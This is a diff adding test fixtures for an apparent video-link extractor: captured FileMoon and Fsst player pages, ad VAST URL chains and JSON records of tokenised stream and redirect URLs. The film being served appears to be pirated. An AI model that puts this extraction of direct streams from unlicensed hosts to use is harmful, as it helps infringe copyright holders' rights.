<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon.ico">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600;700&display=swap" rel="stylesheet">
|
||||
<link rel="stylesheet" href="//filemoon.to/assets/css/front.css?v=51">
|
||||
<META NAME="description" CONTENT="Watch video tt0307453">
|
||||
<META NAME="keywords" CONTENT="tt0307453">
|
||||
<meta name="robots" content="noindex, nofollow">
|
||||
|
||||
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
</head>
|
||||
|
||||
<body class="is-home d-flex flex-column justify-content-between ">
|
||||
<header class="header py-3 py-lg-4">
|
||||
<div class="container">
|
||||
<div class="row align-items-center justify-content-between justify-content-lg-start">
|
||||
<div class="col-auto d-lg-none">
|
||||
<button class="btn text-muted ssm-toggle-nav px-1" type="button">
|
||||
<i class="icon icon-menu icon-size-22 text-muted"></i>
|
||||
</button>
|
||||
</div>
|
||||
<div class="col-auto">
|
||||
<a href="/" class="logo d-block"><img src="//filemoon.to/assets/images/logo.svg" alt=""></a>
|
||||
</div>
|
||||
<div class="col-auto d-none d-lg-block flex-lg-grow-1">
|
||||
<nav class="nav ml-lg-3">
|
||||
<a class="nav-link" href="/premium">Premium</a>
|
||||
<a class="nav-link" href="/affiliate">Make Money</a>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="col-auto">
|
||||
<div class="d-none d-lg-flex">
|
||||
|
||||
<a href="/login" class="btn btn-dark sign-btn rounded-pill mr-2">Log In</a>
|
||||
<a href="/register" class="btn btn-success sign-btn rounded-pill">Sign Up</a>
|
||||
|
||||
</div>
|
||||
<div class="d-lg-none">
|
||||
<button class="btn text-muted usrmobile-toggle-nav px-1" type="button">
|
||||
<i class="icon icon-user icon-size-18 text-muted"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
|
||||
|
||||
<script src="https://filemoon.to/js/jquery.cookie.js"></script>
|
||||
<script>
|
||||
$.cookie('file_id', '48721931', { expires: 10 });
|
||||
$.cookie('aff', '89667', { expires: 10 });
|
||||
$.cookie('ref_url', 'https://filemoon.to/d/ugj7f1kq94p1', { expires: 10 });
|
||||
</script>
|
||||
|
||||
<script type="text/javascript" src='/js/ls.js'></script>
|
||||
<main class="flex-grow-1 a-bean">
|
||||
<div class="container mt-5">
|
||||
<div class="mb-4 mb-lg-5 sm-bg px-4 py-5 p-lg-0 mx-lg-5 rounded-lg">
|
||||
<div class="row justify-content-between align-items-center text-muted mb-4 mb-lg-5">
|
||||
<div class="col-auto mb-2">
|
||||
<h3 class="text-light mb-0 font-weight-bold">tt0307453</h3>
|
||||
</div>
|
||||
<div class="col-auto mb-2"> Uploaded: <span class="text-success">2025-08-24 00:12:36</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="mb-4 mb-lg-5 ">
|
||||
<div class="position-relative">
|
||||
|
||||
<div class="bimg-top text-center">
|
||||
<div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="height: 640px;" id="iframe-holder">
|
||||
|
||||
<iframe src="https://ico3c.com/bkg/ugj7f1kq94p1" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="100%" height="100%" allowfullscreen></iframe>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="bimg-bottom text-center">
|
||||
<div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="mb-4 mb-lg-5 text-center">
|
||||
<a href="/download/ugj7f1kq94p1" class="btn btn-success px-5">Download</a>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<style>
|
||||
#vplayer {padding-top: 56.25%;}
|
||||
.bimg-top,
|
||||
.bimg-bottom {
|
||||
display: -webkit-flex;
|
||||
display: -ms-flex;
|
||||
display: flex;
|
||||
-ms-align-items: center;
|
||||
align-items: center;
|
||||
-webkit-flex-wrap: wrap;
|
||||
-ms-flex-wrap: wrap;
|
||||
flex-wrap: wrap;
|
||||
justify-content: center;
|
||||
}
|
||||
.bimg-top div,
|
||||
.bimg-bottom div {
|
||||
margin: .5rem;
|
||||
}
|
||||
@media(min-width:1600px){
|
||||
.bimg-top,
|
||||
.bimg-bottom {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
flex-direction: column;
|
||||
}
|
||||
.bimg-top {
|
||||
left: -310px;
|
||||
}
|
||||
.bimg-bottom {
|
||||
right: -310px;
|
||||
}
|
||||
.bimg-top div,
|
||||
.bimg-bottom div {
|
||||
margin: .5rem 0;
|
||||
}
|
||||
}
|
||||
@media(min-width:1800px){
|
||||
.bimg-top {
|
||||
left: -350px;
|
||||
}
|
||||
.bimg-bottom {
|
||||
right: -350px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<footer class="footer py-4 py-lg-5">
|
||||
<div class="container">
|
||||
<div class="row align-items-center justify-content-between">
|
||||
<div class="col-auto my-1">
|
||||
<div class="text-muted"> FileMoon © 2022 </div>
|
||||
</div>
|
||||
<div class="col-auto my-1">
|
||||
<nav class="nav">
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/">Home</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/tos">Terms of Service</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/privacy">Privacy Policy</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/copyright">Copyright Policy</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/affiliate">Make Money</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="/api">API Documentation</a>
|
||||
<a class="nav-link text-muted footer-link px-0 mr-4" href="https://status.filemoon.sx">Server Status</a>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
</div>
|
||||
<div class="ssm">
|
||||
<nav class="nav ssm-nav flex-column">
|
||||
<a class="nav-link ssm-nav-link active" href="/"><i class="icon icon-home icon-size-16 ssm-nav-icon mr-3"></i>Home</a>
|
||||
<a class="nav-link ssm-nav-link" href="/dashboard"><i class="icon icon-account icon-size-16 ssm-nav-icon mr-3"></i>My account</a>
|
||||
<a class="nav-link ssm-nav-link" href="/premium"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Premium</a>
|
||||
<a class="nav-link ssm-nav-link" href="/affiliate"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Make Money</a>
|
||||
</nav>
|
||||
<hr class="mx-3">
|
||||
<nav class="nav flex-column ssm-nav">
|
||||
<a class="nav-link ssm-nav-link" href="/tos"><i class="icon icon-pen icon-size-16 ssm-nav-icon mr-3"></i>Terms of Service</a>
|
||||
<a class="nav-link ssm-nav-link" href="/privacy"><i class="icon icon-key icon-size-16 ssm-nav-icon mr-3"></i>Privacy Policy</a>
|
||||
<a class="nav-link ssm-nav-link" href="/api"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>API Documentation</a>
|
||||
<a class="nav-link ssm-nav-link" href="https://status.filemoon.sx"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>Server Status</a>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="ssm-overlay ssm-toggle-nav"></div>
|
||||
<div class="usrmobile p-5 usrmobile-toggle-nav">
|
||||
|
||||
<a href="/login" class="btn btn-success btn-success-custom btn-lg btn-block text-uppercase shadow">Sign in</a>
|
||||
<a href="/register" class="btn btn-outline-success btn-lg btn-block mb-2 text-uppercase">Sign up</a>
|
||||
|
||||
</div>
|
||||
<script src="//filemoon.to/assets/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="//filemoon.to/assets/js/jquery.slideandswipe.min.js"></script>
|
||||
<script src="//filemoon.to/assets/js/jquery.touchSwipe.min.js"></script>
|
||||
<script src="//filemoon.to/assets/js/front.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
76
src/extractor/__fixtures__/FileMoon/https:ico3c.combkgugj7f1kq94p1
generated
Normal file
76
src/extractor/__fixtures__/FileMoon/https:ico3c.combkgugj7f1kq94p1
generated
Normal file
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1 @@
|
|||
{"destination_url":"https://be7713.rcr82.waw05.i8yz83pn.com/hls2/05/09711/aeuhexjcoysl_x/master.m3u8?t=fiqqJThcgnrc77etu-nLPLodbF1UeqY5Cou0vvnLIB0&s=1765556185&e=10800&f=48721931&srv=1050&asn=13335&sp=5500&p=","request_headers":{"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36","referer":"https://ico3c.com/bkg/ugj7f1kq94p1"},"mediaflow_proxy_url":"https://mediaflow.test.org/proxy/hls/manifest.m3u8","query_params":{"api_password":"test"}}
|
||||
|
|
@ -0,0 +1 @@
|
|||
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_720p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=6974d60c75ea0485c4f2a71b164a21ce"}
|
||||
|
|
@ -0,0 +1 @@
|
|||
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_360p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=3ea2409b52380eb78c22c143fa6e27db"}
|
||||
|
|
@ -0,0 +1 @@
|
|||
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=7cf7fccae0c48291e3452c8ca2277f70"}
|
||||
211
src/extractor/__fixtures__/Fsst/https:fsst.onlineembed948429
generated
Normal file
211
src/extractor/__fixtures__/Fsst/https:fsst.onlineembed948429
generated
Normal file
|
|
@ -0,0 +1,211 @@
|
|||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>Wake.Up.Dead.Man.A.Knives.Out.Mystery.2025.mkv</title>
|
||||
<script src='/player/player-101224.js' type='text/javascript'></script>
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-CFYS4N19SL"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
|
||||
gtag('config', 'G-CFYS4N19SL', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||
gtag('config', 'G-SZ2D21EHGZ', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||
gtag('config', 'G-7F9RVQ2TM0', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||
gtag('config', 'G-LZP7HENPSC', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||
</script>
|
||||
</head>
|
||||
<body style="margin:0; padding:0; background:#000000; color:#ffffff">
|
||||
<div id="Video948429" style="width:100%; height:100%;"></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
var isMobile = {
|
||||
Android: function() {
|
||||
return navigator.userAgent.match(/Android/i);
|
||||
},
|
||||
BlackBerry: function() {
|
||||
return navigator.userAgent.match(/BlackBerry/i);
|
||||
},
|
||||
iOS: function() {
|
||||
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
|
||||
},
|
||||
Opera: function() {
|
||||
return navigator.userAgent.match(/Opera Mini/i);
|
||||
},
|
||||
SmartTV: function() {
|
||||
return navigator.userAgent.match(/Apple TV|Tizen|Web0S|WebOS|TSBNetTV|PHILIPSTV|NETFLIX|BRAVIA|Opera TV Store|SmartTV|SmartTv/i);
|
||||
},
|
||||
Windows: function() {
|
||||
return navigator.userAgent.match(/IEMobile/i);
|
||||
},
|
||||
any: function() {
|
||||
return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.SmartTV() || isMobile.Windows());
|
||||
}
|
||||
};
|
||||
if(isMobile.iOS()){
|
||||
var player = new Playerjs({
|
||||
id: 'Video948429',
|
||||
subtitle: "",
|
||||
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||
embed: "https://fsst.online/embed/948429/",
|
||||
default_quality: "360p",
|
||||
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||
} else {
|
||||
if(isMobile.Android()){
|
||||
var player = new Playerjs({
|
||||
id: 'Video948429',
|
||||
subtitle: "",
|
||||
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||
embed: "https://fsst.online/embed/948429/",
|
||||
default_quality: "360p",
|
||||
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||
} else {
|
||||
if(isMobile.SmartTV()){
|
||||
var player = new Playerjs({
|
||||
id: 'Video948429',
|
||||
subtitle: "",
|
||||
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||
embed: "https://fsst.online/embed/948429/",
|
||||
default_quality: "360p",
|
||||
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||
} else {
|
||||
var player = new Playerjs({
|
||||
id: 'Video948429',
|
||||
subtitle: "",
|
||||
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||
embed: "https://fsst.online/embed/948429/",
|
||||
default_quality: "360p",
|
||||
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
function PlayerjsEvents(event,id,info){
|
||||
if(event=="vast_url"){
|
||||
url = info;
|
||||
}
|
||||
if(event=="inited"){
|
||||
console.log("inited");
|
||||
console.log(Math.round(player.api("time")));
|
||||
window.parent.postMessage({
|
||||
event: 'inited',
|
||||
time: Math.round(player.api("time")),
|
||||
}, '*');
|
||||
}
|
||||
if(event=="vast_Impression"){
|
||||
console.log("Impression");
|
||||
console.log(url);
|
||||
yaCounter49597111.reachGoal('vast_impression', {Ads: url.split(/\/+/)[1]});
|
||||
gtag('event', 'ADS_viewed', {
|
||||
'send_to': 'G-LZP7HENPSC',
|
||||
'event_category': 'Video',
|
||||
'event_label': '28214',
|
||||
});
|
||||
gtag('event', 'Vast Impression', {
|
||||
'send_to': 'G-7F9RVQ2TM0',
|
||||
'event_category': 'Video',
|
||||
'event_label': url.split(/\/+/)[1],
|
||||
});
|
||||
}
|
